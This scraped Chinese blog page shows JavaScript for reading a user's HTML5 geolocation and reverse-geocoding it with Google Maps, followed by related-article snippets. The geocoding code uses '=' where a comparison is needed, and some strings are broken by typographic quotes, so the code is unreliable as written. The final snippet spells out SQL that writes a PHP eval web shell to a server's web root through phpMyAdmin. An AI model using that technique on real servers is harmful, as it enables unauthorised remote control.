HTML5 获取用户坐标方法

 1 function GetLocation() {
 2             if (navigator.geolocation) {
 3                 var locationOptions = {
 4                     //是否使用高精度设备,如GPS。默认是true
 5                     enableHighAccuracy: true,
 6                     //超时时间,单位毫秒,默认为0
 7                     timeout: 5000,
 8                     //使用设置时间内的缓存数据,单位毫秒
 9                     //默认为0,即始终请求新数据
10                     //如设为Infinity,则始终使用缓存数据
11                     maximumAge: 0
12                 };
13                 //只执行一次
14                 navigator.geolocation.getCurrentPosition(locationSuccess, locationError, locationOptions);
15
16                 //只要设备位置发生变化,就会执行
17                 //watcherID = navigator.geolocation.watchPosition(locationSuccess, locationError, locationOptions);
18
19                 //用于终止watchPosition方法
20                 //navigator.geolocation.clearWatch(watcher_id);
21             } else {
22                 $.jBox.info("Your browser does not support Geolocation!");
23             }
24         }
25
26 function locationError(error) {
27             switch (error.code) {
28                 case error.TIMEOUT:
29                     $.jBox.info("A timeout occured! Please try again!");
30                     break;
31                 case error.POSITION_UNAVAILABLE:
32                     $.jBox.info(‘We can\‘t detect your location. Sorry!‘);
33                     break;
34                 case error.PERMISSION_DENIED:
35                     $.jBox.info(‘Please allow geolocation access for this to work.‘);
36                     break;
37                 case error.UNKNOWN_ERROR:
38                     $.jBox.info(‘An unknown error occured!‘);
39                     break;
40             }
41         }
42
43 function locationSuccess(position) {
44             var coords = position.coords;
45              //coords.latitude;
46              //coords.longitude;
47         }    

反向地址解析

 1 var geoCoder = new google.maps.Geocoder();
 2
 3 var point = new google.maps.LatLng(lat, lng);
 4
 5 geoCoder.geocode({ ‘latLng‘: point }, function (results, state) {
 6                 if (state = google.maps.GeocoderStatus.OK) {
 7                     if (results[0]) {
 8                         var point = results[0].geometry.location;
 9                         var myDirection = results[0].formatted_address;
10
11                         myMarker = new google.maps.Marker({
12                             position: point,
13                             map: map,
14                             title: "You Are Here"
15                         });
16
17                         var infowindow = new google.maps.InfoWindow({
18                             content: myDirection
19                         });
20
21              google.maps.event.addListener(myMarker, ‘click‘, function() {
22                         infowindow.open(map, myMarker);
23             });
24                     }
25                 }
26             });
27
28             google.maps.event.addListener(map, "rightclick", function(event) {
29                 var lat = event.latLng.lat();
30                 var lng = event.latLng.lng();
31             });
时间: 2024-10-10 02:29:45

HTML5 获取用户坐标方法的相关文章

js 获取节点方法

旧版本获取节点1.获取body console.log(document.body); 2.获取img console.log(document.images); 3.获取a标签 console.log(document.links); 4.获取含有name属性的a标签 console.log(document.anchors); 5.获取form标签 console.log(document.forms); 获取节点的方法新版本获取节点的方法:DOM21.通过id获取,可以交给一个变量保存(括

HTML5获取地理位置定位信息

HTML5提供了地理位置定位功能(Geolocation API),能确定用户位置,我们可以借助HTML5的该特性开发基于地理位置信息的应用.本文结合实例给大家分享如何使用HTML5,借助百度.谷歌地图接口来获取用户准确的地理位置信息. 如何使用HTML5地理位置定位功能 定位功能(Geolocation)是HTML5的新特性,因此只有在支持HTML5的现代浏览器上运行,特别是手持设备如iphone,地理定位更加精确.首先我们要检测用户设备浏览器是否支持地理定位,如果支持则获取地理信息.注意这个

C# 获取当前路径方法(转)

C# 获取当前路径方法 //获取包含清单的已加载文件的路径或 UNC 位置. public static string sApplicationPath = Assembly.GetExecutingAssembly ( ).Location; //result: X:\xxx\xxx\xxx.dll (.dll文件所在的目录+.dll文件名) //获取当前进程的完整路径,包含文件名(进程名). string str = this.GetType ( ).Assembly.Location; /

Spring中的AOP(五)——在Advice方法中获取目标方法的参数

摘要: 本文介绍使用Spring AOP编程中,在增强处理方法中获取目标方法的参数,定义切点表达式时使用args来快速获取目标方法的参数. 获取目标方法的信息 访问目标方法最简单的做法是定义增强处理方法时,将第一个参数定义为JoinPoint类型,当该增强处理方法被调用时,该JoinPoint参数就代表了织入增强处理的连接点.JoinPoint里包含了如下几个常用的方法: Object[] getArgs:返回目标方法的参数 Signature getSignature:返回目标方法的签名 Ob

基于人工分析的HTTP-POST请求报文特征获取一般方法

基于人工分析的HTTP-POST请求报文特征获取一般方法 (以百度贴吧客户端发帖行为分析为例) 本文由CSDN-蚍蜉撼青松 [主页:http://blog.csdn.net/howeverpf]原创,转载请注明出处! 现有的HTTP-POST请求报文信息还原工具都是基于特征(包括网络应用的行为识别特征与信息提取特征)的,而特征的获取往往依赖于人工分析.在分析的过程中往往需要用到一些能帮助完成网络数据采集和分析功能的工具.根据网络环境的不同,可能用到的几款工具包括: Tcpdump(Unix/Li

androidclient和站点数据交互的实现(基于Http协议获取数据方法)

androidclient一般不直接訪问站点数据库,而是像浏览器一样发送get或者post请求.然后站点返回client能理解的数据格式,client解析这些数据.显示在界面上.经常使用的数据格式是xml和json. 能够理解client事实上是一个你自定义标记语言的浏览器,一般浏览器能解析的是html+css的数据,而androidclient能解析的是xml和json(或者都不是而是你自定义的火星格式),服务端为了能满足client输出这样的数据格式的需求,不得不专门针对client开发不同

类型:Ajax;问题:ajax调用ashx参数获取不到;结果:ashx文件获取$.ajax()方法发送的数据

ashx文件获取$.ajax()方法发送的数据 今天在使用Jquery的ajax方法发送请求时,发现在后台中使用ashx文件无法接收到ajax方法中传递的参数,上网查了一下原因后发现了问题所在,原来是我在$.ajax方法中指明了"contentType: 'application/json; charset=utf8'",所以才导致了在ashx文件中处理请求时无法获取传递到服务器端的参数, 正确的写法如下: 1 $.ajax({ 2 url: '/Handler1.ashx?operF

JS获取标签方法及兼容处理

document.getElementById('Id名');  // 所有浏览器 document.getElementsByTagName('标签名'); // 所有浏览器 document.getElementsByName('name'); // 所有浏览器 document.getElementsByClassName('类名');       // 除ie9以下,均支持 如需通过类名获取标签,并兼容所有浏览器,则需做兼容处理: 1 /* 2 * 功能: 通过类名获取一定范围内的标签数

在phpmyadmin后台获取webshell方法汇总整理

方法一: CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL ); INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('<?php @eval($_POST[xiaoma])?>'); SELECT xiaomaFROM study INTO OUTFILE 'E:/wamp/www/7.php'; ----以上同时执行,在数据库: mysql 下创建一个表名为:xiaoma,字段为xia